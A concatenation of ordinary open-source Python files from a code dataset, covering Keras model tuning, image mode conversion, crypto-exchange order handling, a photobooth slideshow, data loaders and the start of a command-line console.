Create a randomize search cv object and fit it on the data to obtain the results\r\n#best_params = {'activation': 'tanh', 'batch_size': 256, 'epochs': 200, 'learning_rate': 0.001}\r\nrandom_search_result = random_search.fit(X_train, y_train, verbose=0)\r\n\r\nprint(\"Best result: {:,.4f} using: {}\".format(random_search_result.best_score_, random_search_result.best_params_))\r\nbest_params = random_search_result.best_params_\r\n\r\nmodel = create_model(learning_rate=best_params['learning_rate'], activation=best_params['activation'])\r\nmonitor_val_loss = EarlyStopping(monitor='loss', patience=5) # Define a callback to monitor val_acc\r\nmodelCheckpoint = ModelCheckpoint('03_15_model_wbc.hdf5', save_best_only=True) # Save the best model as best_banknote_model.hdf5\r\ntraining = model.fit(X_train, y_train, validation_data=(X_test, y_test), \r\n epochs=best_params['epochs'], batch_size=best_params['batch_size'],\r\n verbose=0, callbacks=[monitor_val_loss, modelCheckpoint]) # Train your model for 60 epochs, using X_test and y_test as validation data\r\n\r\nlearning_curve_compare(training.history['loss'], training.history['val_loss'], metrics='Loss', sup_title=tema) # Plot train vs test loss during training\r\n\r\nprint(\"****************************************************\")\r\ntema = \"16. Training with cross-validation\"; print(\"** %s\\n\" % tema)\r\n\r\ndef create_special_model():\r\n\topt = Adam(lr=best_params['learning_rate'])\r\n\tmodel = Sequential()\r\n\tmodel.add(Dense(128,input_shape=(30,),activation=best_params['activation']))\r\n\tmodel.add(Dense(256,activation=best_params['activation']))\r\n\tmodel.add(Dense(1,activation='sigmoid')) \t\r\n\tmodel.compile(optimizer=opt, loss='binary_crossentropy', metrics=['accuracy'])\r\n\treturn model\r\n\r\nmodel = KerasClassifier(build_fn=create_special_model, epochs=best_params['epochs'], \r\n batch_size=best_params['batch_size'], verbose=0)\r\n\r\nkfolds = cross_val_score(model, X_train, y_train, cv=3) # Calculate the accuracy score for each fold\r\nprint('The mean accuracy was:', kfolds.mean()) # Print the mean accuracy\r\nprint('With a standard deviation of:', kfolds.std()) # Print the accuracy standard deviation\r\n\r\nprint(\"****************************************************\")\r\nprint(\"** END **\")\r\nprint(\"****************************************************\")\r\n\r\n#import inspect #Used to get the code inside a function\r\n#import pandas as pd #For loading tabular data\r\n#import numpy as np #For making operations in lists\r\n#import matplotlib as mpl #To format numbers with ax.yaxis.set_major_formatter(mpl.ticker.StrMethodFormatter('{x:,.0f}')) or ax.get_xaxis().set_major_formatter(matplotlib.ticker.FuncFormatter(lambda x, p: format(int(x), ',')))\r\n#import matplotlib.pyplot as plt #For creating charts\r\n#import seaborn as sns #For visualizing data\r\n#import statsmodels as sm #For stimations in differents statistical models\r\n#import networkx as nx #For Network Analysis in Python\r\n#import nxviz as nv #For Network Analysis in Python\r\n\r\n\r\n#import scykit-learn #For performing machine learning \r\n#import tabula #For extracting tables from pdf\r\n#import nltk #For working with text data\r\n#import math #For accesing to a complex math operations\r\n#import random #For generating random numbers\r\n#import calendar #For accesing to a vary of calendar operations\r\n#import re #For regular expressions\r\n#import timeit #For Measure execution time of small code snippets\r\n#import time #To measure the elapsed wall-clock time between two points\r\n#import warnings\r\n#import wikipedia\r\n\r\n\r\n#from pandas.plotting import register_matplotlib_converters #For conversion as datetime index in x-axis\r\n#from math import radian #For accessing a specific math operations\r\n#from functools import reduce #For accessing to a high order functions (functions or operators that return functions)\r\n#from pandas.api.types import CategoricalDtype #For categorical data\r\n#from glob import glob #For using with pathnames matching\r\n#from datetime import date #For obteining today function\r\n#from datetime import datetime #For obteining today function\r\n#from string import Template #For working with string, regular expressions\r\n#from itertools import cycle #Used in the function plot_labeled_decision_regions()\r\n#from math import floor #Used in the function plot_labeled_decision_regions()\r\n#from math import ceil #Used in the function plot_labeled_decision_regions()\r\n#from itertools import combinations #For iterations\r\n#from collections import defaultdict #Returns a new dictionary-like object\r\n#from nxviz import ArcPlot #For Network Analysis in Python\r\n#from nxviz import CircosPlot #For Network Analysis in Python \r\n#from nxviz import MatrixPlot #For Network Analysis in Python \r\n\r\n\r\n#import scipy.stats as stats #For accesign to a vary of statistics functiosn\r\n#from scipy.cluster.hierarchy import fcluster #For learning machine - unsurpervised\r\n#from scipy.cluster.hierarchy import dendrogram #For learning machine - unsurpervised\r\n#from scipy.cluster.hierarchy import linkage #For learning machine - unsurpervised\r\n#from scipy.ndimage import gaussian_filter #For working with images\r\n#from scipy.ndimage import median_filter #For working with images\r\n#from scipy.signal import convolve2d #For learning machine - deep learning\r\n#from scipy.sparse import csr_matrix #For learning machine \r\n#from scipy.special import expit as sigmoid #For learning machine \r\n#from scipy.stats import pearsonr #For learning machine \r\n#from scipy.stats import randint #For learning machine \r\n \r\n#from skimage import exposure #For working with images\r\n#from skimage import measure #For working with images\r\n#from skimage.filters.thresholding import threshold_otsu #For working with images\r\n#from skimage.filters.thresholding import threshold_local #For working with images \r\n\r\n#from sklearn import datasets #For learning machine\r\n#from sklearn.cluster import KMeans #For learning machine - unsurpervised\r\n#from sklearn.decomposition import NMF #For learning machine - unsurpervised\r\n#from sklearn.decomposition import PCA #For learning machine - unsurpervised\r\n#from sklearn.decomposition import TruncatedSVD #For learning machine - unsurpervised\r\n#from sklearn.ensemble import AdaBoostClassifier #For learning machine - surpervised\r\n#from sklearn.ensemble import BaggingClassifier #For learning machine - surpervised\r\n#from sklearn.ensemble import GradientBoostingRegressor #For learning machine - surpervised\r\n#from sklearn.ensemble import RandomForestClassifier #For learning machine\r\n#from sklearn.ensemble import RandomForestRegressor #For learning machine - unsurpervised\r\n#from sklearn.ensemble import VotingClassifier #For learning machine - unsurpervised\r\n#from sklearn.feature_extraction.text import TfidfVectorizer #For learning machine - unsurpervised\r\n#from sklearn.feature_selection import chi2 #For learning machine\r\n#from sklearn.feature_selection import SelectKBest #For learning machine\r\n#from sklearn.feature_extraction.text import CountVectorizer #For learning machine\r\n#from sklearn.feature_extraction.text import HashingVectorizer #For learning machine\r\n#from sklearn.impute import SimpleImputer #For learning machine\r\n#from sklearn.linear_model import ElasticNet #For learning machine\r\n#from sklearn.linear_model import Lasso #For learning machine\r\n#from sklearn.linear_model import LinearRegression #For learning machine\r\n#from sklearn.linear_model import LogisticRegression #For learning machine\r\n#from sklearn.linear_model import Ridge #For learning machine\r\n#from sklearn.manifold import TSNE #For learning machine - unsurpervised\r\n#from sklearn.metrics import accuracy_score #For learning machine\r\n#from sklearn.metrics import classification_report #For learning machine\r\n#from sklearn.metrics import confusion_matrix #For learning machine\r\n#from sklearn.metrics import mean_squared_error as MSE #For learning machine\r\n#from sklearn.metrics import roc_auc_score #For learning machine\r\n#from sklearn.metrics import roc_curve #For learning machine\r\n#from sklearn.model_selection import cross_val_score #For learning machine\r\n#from sklearn.model_selection import KFold #For learning machine\r\n#from sklearn.model_selection import GridSearchCV #For learning machine\r\n#from sklearn.model_selection import RandomizedSearchCV #For learning machine\r\n#from sklearn.model_selection import train_test_split #For learning machine\r\n#from sklearn.multiclass import OneVsRestClassifier #For learning machine\r\n#from sklearn.neighbors import KNeighborsClassifier as KNN #For learning machine\r\n#from sklearn.pipeline import FeatureUnion #For learning machine\r\n#from sklearn.pipeline import make_pipeline #For learning machine - unsurpervised\r\n#from sklearn.pipeline import Pipeline #For learning machine\r\n#from sklearn.preprocessing import FunctionTransformer #For learning machine\r\n#from sklearn.preprocessing import Imputer #For learning machine\r\n#from sklearn.preprocessing import MaxAbsScaler #For learning machine (transforms the data so that all users have the same influence on the model)\r\n#from sklearn.preprocessing import Normalizer #For learning machine - unsurpervised (for pipeline)\r\n#from sklearn.preprocessing import normalize #For learning machine - unsurpervised\r\n#from sklearn.preprocessing import scale #For learning machine\r\n#from sklearn.preprocessing import StandardScaler #For learning machine\r\n#from sklearn.svm import SVC #For learning machine\r\n#from sklearn.tree import DecisionTreeClassifier #For learning machine - supervised\r\n#from sklearn.tree import DecisionTreeRegressor #For learning machine - supervised\r\n\r\n#import statsmodels.api as sm #Make a prediction model\r\n#import statsmodels.formula.api as smf #Make a prediction model \r\n#import tensorflow as tf #For DeapLearning\r\n\r\n#import keras #For DeapLearning\r\n#from keras.callbacks import ModelCheckpoint #For DeapLearning\r\n#from keras.callbacks import EarlyStopping #For DeapLearning\r\n#from keras.datasets import fashion_mnist #For DeapLearning\r\n#from keras.datasets import mnist #For DeapLearning\r\n#from keras.layers import BatchNormalization #For DeapLearning\r\n#from keras.layers import Concatenate #For DeapLearning\r\n#from keras.layers import Conv2D #For DeapLearning\r\n#from keras.layers import Dense #For DeapLearning\r\n#from keras.layers import Dropout #For DeapLearning\r\n#from keras.layers import Embedding #For DeapLearning\r\n#from keras.layers import Flatten #For DeapLearning\r\n#from keras.layers import Input #For DeapLearning\r\n#from keras.layers import MaxPool2D #For DeapLearning\r\n#from keras.layers import Subtract #For DeapLearning\r\n#from keras.models import load_model #For DeapLearning\r\n#from keras.models import Model #For DeapLearning\r\n#from keras.models import Sequential #For DeapLearning\r\n#from keras.optimizers import Adam #For DeapLearning\r\n#from keras.optimizers import SGD #For DeapLearning\r\n#from keras.utils import plot_model #For DeapLearning\r\n#from keras.utils import to_categorical #For DeapLearning\r\n#from keras.wrappers.scikit_learn import KerasClassifier #For DeapLearning\r\n\r\n\r\n#from bokeh.io import curdoc #For interacting visualizations\r\n#from bokeh.io import output_file #For interacting visualizations\r\n#from bokeh.io import show #For interacting visualizations\r\n#from bokeh.plotting import ColumnDataSource #For interacting visualizations\r\n#from bokeh.plotting import figure #For interacting visualizations\r\n#from bokeh.layouts import row #For interacting visualizations\r\n#from bokeh.layouts import widgetbox #For interacting visualizations\r\n#from bokeh.layouts import column #For interacting visualizations\r\n#from bokeh.layouts import gridplot #For interacting visualizations\r\n#from bokeh.models import HoverTool #For interacting visualizations\r\n#from bokeh.models import ColumnDataSource #For interacting visualizations\r\n#from bokeh.models import CategoricalColorMapper #For interacting visualizations\r\n#from bokeh.models import Slider #For interacting visualizations\r\n#from bokeh.models import Select #For interacting visualizations\r\n#from bokeh.models import Button #For interacting visualizations\r\n#from bokeh.models import CheckboxGroup #For interacting visualizations\r\n#from bokeh.models import RadioGroup #For interacting visualizations\r\n#from bokeh.models import Toggle #For interacting visualizations\r\n#from bokeh.models.widgets import Tabs #For interacting visualizations\r\n#from bokeh.models.widgets import Panel #For interacting visualizations\r\n#from bokeh.palettes import Spectral6 #For interacting visualizations\r\n\r\n\r\n# Setting the pandas options\r\n#pd.set_option(\"display.max_columns\",20)\r\n#pd.options.display.float_format = '{:,.4f}'.format \r\n#pd.reset_option(\"all\")\r\n#pd.set_option('display.max_rows', -1) #Shows all rows\r\n\r\n#register_matplotlib_converters() #Require to explicitly register matplotlib converters.\r\n\r\n#Setting images params\r\n#plt.rcParams = plt.rcParamsDefault\r\n#plt.rcParams['figure.constrained_layout.use'] = True\r\n#plt.rcParams['figure.constrained_layout.h_pad'] = 0.09\r\n#plt.rcParams.update({'figure.max_open_warning': 0}) #To solve the max images open\r\n#plt.rcParams[\"axes.labelsize\"] = 8 #Font\r\n\r\n#Setting the numpy options\r\n#np.set_printoptions(precision=3) #precision set the precision of the output:\r\n#np.set_printoptions(suppress=True) #suppress suppresses the use of scientific notation for small numbers\r\n#np.set_printoptions(threshold=np.inf) #Show all the columns and rows from an array.\r\n#np.set_printoptions(threshold=8) #Return to default value.\r\n\r\n#sns.set(font_scale=0.8) #Font\r\n#sns.set(rc={'figure.figsize':(11.7,8.27)}) #To set the size of the plot","repo_name":"jacesca/python_ds","sub_path":"Introduction to Deep Learning with Keras/03_Improving_perform_cancer_predict.py","file_name":"03_Improving_perform_cancer_predict.py","file_ext":"py","file_size_in_byte":29050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"35564620924","text":"from PIL import Image\n\nnoAlphaWithP = ['1', 'L', 'P', 'RGB']\n\nsupportedModes = {\n 'BMP': ['1', 'L', 'P', 'RGB'],\n 'EPS': ['L', 'RGB', 'CMYK'],\n 'GIF': ['L', 'P'],\n 'JPEG': ['L', 'RGB', 'CMYK'],\n 'PNG': ['1', 'L', 'P', 'RGB', 'RGBA'],\n 'TGA': ['L', 'LA', 'P', 'RGB', 'RGBA'],\n 'TIFF': ['1', 'L', 'P', 'RGB', 'RGBA'],\n 'PDF': ['1', 'L', 'P', 'RGB', 'RGBA']\n}\n\ndef switch_modes_if_needed(image: Image, desiredFormat: str) -> Image:\n mode = image.mode\n if not mode in supportedModes[desiredFormat]:\n return image.convert(mode=supportedModes[desiredFormat][-1])\n return image\n","repo_name":"Disturbing/image-api","sub_path":"server/modeConverter.py","file_name":"modeConverter.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"42276902788","text":"import numpy as np\nfrom tqdm import tqdm\n\n\ndef state4to6(state4):\n transposed = False\n if len(state4.shape) == 1: # (4,) -> (4, 1)\n state4 = state4.reshape(4, 1)\n if state4.shape[0] != 4: # (n, 4) -> (4, n)\n state4 = state4.transpose()\n transposed = True\n n = state4.shape[1]\n state6 = np.empty((6, n))\n state6[0, :] = np.cos(state4[0, :])\n state6[1, :] = np.sin(state4[0, :])\n state6[2, :] = np.cos(state4[1, :])\n state6[3, :] = np.sin(state4[1, :])\n state6[4, :] = state4[2, :]\n state6[5, :] = state4[3, :]\n if n == 1:\n return state6.reshape((6,)) # (6,1) -> (6,)\n if transposed: # input (n, 4)\n return state6.transpose() # (6, n) -> (n, 6)\n return state6 # input (4, n), output (6, n)\n\n\ndef state6to4(state6):\n transposed = False\n if len(state6.shape) == 1: # (6,) -> (6, 1)\n state6 = state6.reshape(6, 1)\n if state6.shape[0] != 6: # (n, 6) -> (6, n)\n state6 = state6.transpose()\n transposed = True\n n = state6.shape[1]\n state4 = np.empty((4, n))\n state4[0, :] = np.arctan2(state6[1, :], state6[0, :])\n state4[1, :] = np.arctan2(state6[3, :], state6[2, :])\n state4[2, :] = state6[4, :]\n state4[3, :] = state6[5, :]\n if n == 1:\n return state4.reshape((4,)) # (4,1) -> (4,)\n if transposed: # input (n, 4)\n return state4.transpose() # (4, n) -> (n, 4)\n return state4 # input (6, n), output (4, n)\n\n\ndef rollout(mdp, policy, n_episodes=1, show_progress=False):\n \"\"\"\n\n\n Parameters\n ----------\n init : lambda -> state4\n get initial state\n policy : lambda state4 -> action\n\n dynamics : lambda state4, action -> next_state4\n\n n_episodes : int, optional\n The default is 1.\n\n Returns\n -------\n dataset - list of (state4, action, reward, next_state4, absorbing, last)\n All sampled transitions in chronological order, where only the last\n transition of every episode has last=True.\n\n \"\"\"\n dataset = list()\n for i in tqdm(range(n_episodes), disable=not show_progress):\n episode_steps = 0\n last = False\n state4 = state6to4(mdp.reset(None).copy())\n while last is False:\n action = policy(state4)\n if action is None:\n breakpoint()\n _, reward, absorbing, ssa_dict = mdp.step(action)\n next_state4 = ssa_dict[\"s\"] # angle, not cos/sin\n episode_steps += 1\n if episode_steps >= mdp.info.horizon:\n last = True\n sample = (state4, action, reward, next_state4, absorbing, last)\n dataset.append(sample)\n state4 = next_state4.copy()\n return dataset\n","repo_name":"neuralskeptic/smbrl","sub_path":"src/utils/environment_tools.py","file_name":"environment_tools.py","file_ext":"py","file_size_in_byte":2712,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"2839469060","text":"import pandas as pd\nimport pdb\n\nfrom zpylib import datatools\nfrom zpylib.learn.gbm import Lgbm\nfrom zpylib import data_path as dp\nfrom zpylib import metadata\n\ndef train_one_gbm(data, cat=False):\n lgb = Lgbm(verbose=True, declare_categoricals=cat)\n lgb.train(data)\n return lgb\n\n# data = datatools.data_from_feather(dp('refactored/train_split_0.feather'))\n# lgb1 = train_one_gbm(data, cat=False)\n# lgb2 = train_one_gbm(data, cat=True)\n# lgb1.importance().head(10)\n# lgb2.importance().head(10)\n#\n# # Identify categoricals that also appear important as continuous features\n# df = lgb1.importance()\n# important_continuous = set(df[df.gain > 1000].feature.tolist())\n# catcont = list(set(data.coltypes.categorical).intersection(important_continuous))\n# # Of these, leave as categorical those with fewer than four distinct values\n# mdf = metadata.build_refactored_metadata()\n# mdf = mdf[mdf.is_categorical==1]\n# mdf = mdf[mdf['nunique'] > 3]\n# mycatcont = list(set(catcont).intersection(set(mdf.colname.tolist())))\n# \"['\" + \"', '\".join(mycatcont) + \"']\"\n# pd.read_csv(dp('metadata/AVProductStatesIdentifier'))\n\ndef filter_categoricals_on_nunique(cols, lb=4):\n mdf = metadata.build_refactored_metadata()\n mdf = mdf[mdf.is_categorical==1]\n mdf = mdf[mdf['nunique'] > 3]\n okcols = mdf.colname.tolist()\n return list(set(cols).intersection(set(okcols)))\n\ndtypes = datatools.FeaturesByType()\ndf = datatools.read_feather(dp('refactored/train_split_0.feather'))\ndata = datatools.Data(df, select = dtypes.categorical)\nlgb = train_one_gbm(data, cat=True)\ntop_categoricals=lgb.importance().head(10).feature.tolist()\nfilter_categoricals_on_nunique(top_categoricals)\npdb.set_trace()\n\npd.read_csv(dp('metadata/SmartScreen'))\n\n","repo_name":"zkurtz/kaggle_malware_2019","sub_path":"diagnostics/gbm.py","file_name":"gbm.py","file_ext":"py","file_size_in_byte":1728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"24121549410","text":"import asyncio\nfrom decimal import Decimal\n\nfrom definitions import getRootDir\nfrom selfLib.aiopyupbit import UpbitError\nfrom binance.exceptions import BinanceAPIException\n\nfrom common.SingleTonAsyncInit import SingleTonAsyncInit\nfrom common.createTask import createTask\nfrom data.ExGeneralInfo import ExGeneralInfo\nfrom selfLib.UpClient import UpClient\nfrom binance import AsyncClient as BnClient\n\nfrom work.CheckPointManager import CheckPointManager\nfrom work.Order import FtOrder, SpOrder, UpOrder\n\nOM_PICKLE_FILE = '{0}/work/zOrderManager.pickle'.format(getRootDir())\n\n\nclass OrderManager(SingleTonAsyncInit, CheckPointManager):\n async def _asyncInit(self, upCli: UpClient, bnCli: BnClient, exInfo):\n self.upCli = upCli\n self.bnCli = bnCli\n\n FtOrder.initClass(client=bnCli, orderInfo=exInfo['ft'])\n SpOrder.initClass(client=bnCli, orderInfo=exInfo['sp'])\n UpOrder.initClass(client=upCli, orderInfo=exInfo['up'])\n\n self.ordersToBeCanceled = []\n\n self._initPickle(OM_PICKLE_FILE, ['ordersToBeCanceled'])\n\n async def submitOrderBatch(self, orderList):\n tasks = []\n for orderData in orderList:\n tasks.append(createTask(self.submitOrder(orderData)))\n if tasks:\n await asyncio.wait(tasks)\n\n async def submitOrder(self, orderData):\n # orderData = [ex, sym, price, qty]\n ex, sym, price, qty = orderData\n if ex == 'ft':\n order = FtOrder(sym=sym, price=price, qty=qty)\n elif ex == 'up':\n order = UpOrder(sym=sym, price=price, qty=qty)\n elif ex == 'sp':\n order = SpOrder(sym=sym, price=price, qty=qty)\n else:\n raise Exception('식별되지 않는 거래소 코드 입니다.', ex)\n\n res = await order.execute()\n if res:\n if ex == 'ft' or ex == 'sp':\n self.ordersToBeCanceled.append([ex, res['orderId'], sym])\n elif ex == 'up':\n self.ordersToBeCanceled.append([ex, res['uuid'], sym])\n self.saveCheckPoint()\n # print(\"order 제출 테스토\", orderData)\n\n def getOrders(self):\n return self.ordersToBeCanceled\n\n async def cancelOrderBatch(self):\n tasks = []\n for orderData in self.ordersToBeCanceled:\n tasks.append(createTask(self.cancelOrder(*orderData)))\n self.ordersToBeCanceled = []\n self.saveCheckPoint()\n if tasks:\n await asyncio.wait(tasks)\n\n async def cancelOrder(self, ex, orderId, sym):\n try:\n if ex == 'ft':\n res = await self.bnCli.futures_cancel_order(symbol=sym, orderId=orderId)\n elif ex == 'up':\n res = await self.upCli.cancel_order(uuid=orderId)\n elif ex == 'sp':\n res = await self.bnCli.cancel_order(symbol=sym, orderId=orderId)\n except BinanceAPIException as e:\n if e.code != -2011:\n raise e\n except UpbitError as e:\n pass\n except Exception as e:\n raise e\n\n def done(self):\n self.saveGoodExitPoint()\n","repo_name":"jong950715/TransferMoney","sub_path":"work/OrderManager.py","file_name":"OrderManager.py","file_ext":"py","file_size_in_byte":3112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"27486696283","text":"#!/usr/bin/env python3\n\n\"\"\"\nHandles watermarking of gphoto2 loaded image.\n\nneeds\n Gphoto2HookScriptHandler\n SimpleWatermark\n\"\"\"\n\n# import sys\nimport os\nimport subprocess\nfrom contextlib import contextmanager\n\nfrom gphoto2_script_hook_handler import Gphoto2HookScriptHandler\nfrom watermark import SimpleWatermark\n\n\n##########################################\n# functions\n\n@contextmanager\ndef cd(newdir):\n \"\"\"\n Change directory.\n\n found at:\n http://stackoverflow.com/questions/431684/how-do-i-cd-in-python/24176022#24176022\n \"\"\"\n prevdir = os.getcwd()\n os.chdir(os.path.expanduser(newdir))\n try:\n yield\n finally:\n os.chdir(prevdir)\n\n\n##########################################\n# classes\n\nclass PhotoBoothHandler(Gphoto2HookScriptHandler):\n \"\"\"docstring for PhotoBoothHandler.\"\"\"\n\n def __init__(self):\n \"\"\"Initialize Instance.\"\"\"\n # print(\"PhotoBoothHandler\")\n self.path_script = os.path.dirname(os.path.abspath(__file__))\n print(\"path_script\", self.path_script)\n\n super(PhotoBoothHandler, self).__init__()\n\n def __del__(self):\n \"\"\"Clean up.\"\"\"\n pass\n\n def download(self, argument):\n \"\"\"Photo downloaded and ready to work on.\"\"\"\n print(\"gphoto2 donwload\")\n if argument:\n # print(\"ARGUMENT:\", os.environ['ARGUMENT'])\n input_filename = os.environ['ARGUMENT']\n output_filename = input_filename\n watermark_filename = \"./mark2.png\"\n\n myMarker = SimpleWatermark(\n input_filename=input_filename,\n output_filename=output_filename,\n watermark_filename=watermark_filename\n )\n myMarker.load()\n myMarker.process()\n myMarker.save()\n self.stop_slideshow()\n self.start_slideshow(output_filename)\n\n def start(self, argument):\n \"\"\"gPhoto2 started.\"\"\"\n self.start_slideshow()\n\n def stop(self, argument):\n \"\"\"gPhoto2 started.\"\"\"\n self.stop_slideshow()\n\n def stop_slideshow(self):\n \"\"\"Stop Slideshow.\"\"\"\n print(\"stop slideshow:\")\n command = [\n \"killall\",\n \"feh\",\n ]\n result_string = \"\"\n try:\n print(\"command:{}\".format(\" \".join(command)))\n # result_string += subprocess.check_output(command).decode()\n pass\n except subprocess.CalledProcessError as e:\n error_message = \"failed: {}\".format(e)\n print(error_message)\n result_string += \"\\n\" + error_message\n else:\n pass\n return result_string\n\n def start_slideshow(self, startfile=None):\n \"\"\"Restart Slideshow.\"\"\"\n print(\"start slideshow:\")\n duration_new_picture = 5.0\n duration_loop = 1.0\n\n target_path = self.path_script\n image_directory = \"./captured/\"\n # image_directory = target_path + \"/captured/\"\n # image_directory = \"./\"\n\n # https://man.finalrewind.org/1/feh/\n command_start = [\n \"feh\",\n \"--fullscreen\",\n \"--cycle-once\",\n \"--slideshow-delay={}\".format(duration_new_picture),\n \"{}\".format(startfile),\n ]\n command_loop = [\n \"feh\",\n \"--fullscreen\",\n \"--randomize\",\n \"--slideshow-delay={}\".format(duration_loop),\n \"{}\".format(image_directory),\n ]\n\n command = []\n\n if startfile:\n command.extend(command_start)\n command.append(\"&&\")\n command.extend(command_loop)\n else:\n command = command_loop\n\n result_string = \"\"\n try:\n print(\"command:{}\".format(\" \".join(command)))\n with cd(target_path):\n # result_string += subprocess.check_output(command).decode()\n # this does not work with the && combining of commands..\n # subprocess.Popen(command)\n # subprocess.Popen(command, shell=True)\n # command = \" \".join(command)\n # subprocess.Popen(command, shell=True)\n # subprocess.run(command)\n pass\n # subprocess.run(command, shell=True)\n # subprocess.run(command)\n # result_string += subprocess.check_output(command).decode()\n except subprocess.CalledProcessError as e:\n error_message = \"failed: {}\".format(e)\n print(error_message)\n result_string += \"\\n\" + error_message\n else:\n pass\n return result_string\n\n\n##########################################\n# globals\n\nmyPBHandler = None\n\n\n##########################################\n# main\n\ndef main():\n \"\"\"Run Main SW.\"\"\"\n global myPBHandler\n myPBHandler = PhotoBoothHandler()\n # myPBHandler.start_slideshow()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"s-light/python_simple_photobooth","sub_path":"photobooth_handler.py","file_name":"photobooth_handler.py","file_ext":"py","file_size_in_byte":4934,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"71"} +{"seq_id":"19462633313","text":"class ListNode:\n\tdef __init__(self, val, next = None):\n\t\tself.val = val\n\t\tself.next = next\n\nclass Solution:\n\tdef removeNthFromEnd(self, head, n):\n\t\tfast, slow = head, head\n\t\twhile n:\n\t\t\tfast = fast.next\n\t\t\tn -= 1\n\t\t# print(fast.val)\n\t\tprev = None\n\t\twhile fast:\n\t\t\tfast = fast.next\n\t\t\tprev = slow\n\t\t\tslow = slow.next\n\t\tif slow == head:\n\t\t\treturn head.next\n\t\tprev.next = slow.next\n\t\treturn head\n\nnums = [1, 2, 3, 4, 5]\nlst = [ListNode(n) for n in nums]\nfor i in range(len(lst) - 1):\n\tlst[i].next = lst[i + 1]\nhead = lst[0]\n\ninst = Solution()\nhead = inst.removeNthFromEnd(head, 5)\n\nwhile head:\n\tprint(head.val, end = ' ')\n\thead = head.next\nprint()\n","repo_name":"nkukarl/lintcode","sub_path":"Q174.py","file_name":"Q174.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"25942095498","text":"import numpy as np\nimport pandas as pd\nfrom ROOT import TFile, TTree\nimport sys\nfrom array import array\n\ndef main(argv):\n\n runs_in_subset = np.loadtxt('/panfs/felician/B2Ktautau/workflow/get_run_numbers/201{year}/run_numbers_in_subset.txt'.format(year=argv[1]))\n\n df = pd.read_csv(\"run2_pp_lumi.csv\")\n\n all_runs = df['run'].values\n all_lumi = df['lumi'].values\n\n file = TFile('/panfs/felician/B2Ktautau/workflow/get_lumi_of_subset/201{year}/lumi_of_subset.root'.format(year=argv[1]), 'recreate')\n file.cd()\n\n tree = TTree(\"DecayTree\", \"DecayTree\")\n lumi_in_subset = 0\n\n for i in range(len(all_runs)):\n for j in range(len(runs_in_subset)):\n if(all_runs[i] == runs_in_subset[j]):\n lumi_in_subset += all_lumi[i] \n\n print(lumi_in_subset)\n \n tree.Branch(\"lumi_in_subset\", lumi_in_subset, 'lumi_in_subset/D')\n tree.Fill()\n tree.Write()\n file.Close()\n\n return\n\nif __name__ == \"__main__\":\n main(sys.argv)\n\n ","repo_name":"marfari/B2Ktautau","sub_path":"lumi_of_subset.py","file_name":"lumi_of_subset.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"40578998904","text":"import torch as t\r\nimport torchvision.datasets as datasets\r\nimport torchvision.transforms as transforms\r\n\r\nclass Image(object):\r\n def __init__(self, batch_size, test_batch_size, mean=[0.49139968, 0.48215827, 0.44653124], std=[0.24703233, 0.24348505, 0.26158768], preprocesses=[], num_workers=1):\r\n Dataset = datasets.CIFAR10\r\n \r\n normalize = transforms.Normalize(mean, std)\r\n \r\n # preprocessing of training data\r\n transform = transforms.Compose(preprocesses + [\r\n #transforms.RandomCrop(32, padding=4),\r\n #transforms.RandomHorizontalFlip(),\r\n transforms.ToTensor(),\r\n normalize,\r\n ])\r\n\r\n self.train = t.utils.data.DataLoader(\r\n Dataset(root='./data', train=True, transform=transform, download=True),\r\n batch_size=batch_size, shuffle=True,\r\n num_workers=num_workers, pin_memory=True)\r\n\r\n self.test = t.utils.data.DataLoader(\r\n Dataset(root='./data', train=False, transform=transforms.Compose([\r\n transforms.ToTensor(),\r\n normalize,\r\n ])),\r\n batch_size=test_batch_size, shuffle=False,\r\n num_workers=num_workers, pin_memory=True)\r\n","repo_name":"MoHawastaken/ENAS2.0","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"2640124009","text":"#!/usr/bin/env python3\n\"\"\"Defines a command line interpreter.\"\"\"\n\nimport cmd\nimport re\nimport json\nfrom models.base_model import BaseModel\nfrom models.user import User\nfrom models.amenity import Amenity\nfrom models.place import Place\nfrom models.state import State\nfrom models.city import City\nfrom models.review import Review\nfrom models import storage\nfrom json.decoder import JSONDecodeError\nRG1 = r'\\s*?[\\\"\\']?(.*?)[\\\"\\'],\\s+?\\\"?\\'?(\\w+)\\\"?\\'?,\\s+?\\\"?\\'?(\\w+)\\\"?\\'?'\nRG2 = r'\\s*?(\\w+)\\s+?(.*?)?\\s[\\'\\\"]?(\\w+)[\\'\\\"]?\\s+?[\\'\\\"]?(.*)[\\'\\\"]?'\n\n\ndef get_sub_classes():\n \"\"\"Gets the subclasses of BaseModel\"\"\"\n return [cl.__name__ for cl in BaseModel.__subclasses__()]\n\n\nclass HBNBCommand(cmd.Cmd):\n \"\"\"HBNBCommand is a command line interpreter\"\"\"\n __classes = [\"BaseModel\", *get_sub_classes()]\n prompt = \"(hbnb) \"\n\n def do_quit(self, arg):\n \"\"\"Quit command to exit the program.\"\"\"\n return True\n\n def do_EOF(self, arg):\n \"\"\"Exits the program.\"\"\"\n print()\n return True\n\n def emptyline(self):\n \"\"\"Does nothing.\"\"\"\n pass\n\n def do_count(self, arg):\n \"\"\"Counts instances of a class\"\"\"\n all_inst = storage.all()\n counts = 0\n if arg and arg != \"()\":\n for key in all_inst.keys():\n if arg.split()[0] in key:\n counts += 1\n print(counts)\n else:\n print(len(all_inst))\n\n def do_create(self, arg):\n \"\"\"Creates a new instance of a class, saves it, and prints the id.\"\"\"\n if arg and arg != \"()\":\n if arg.split()[0] in HBNBCommand.__classes:\n base = 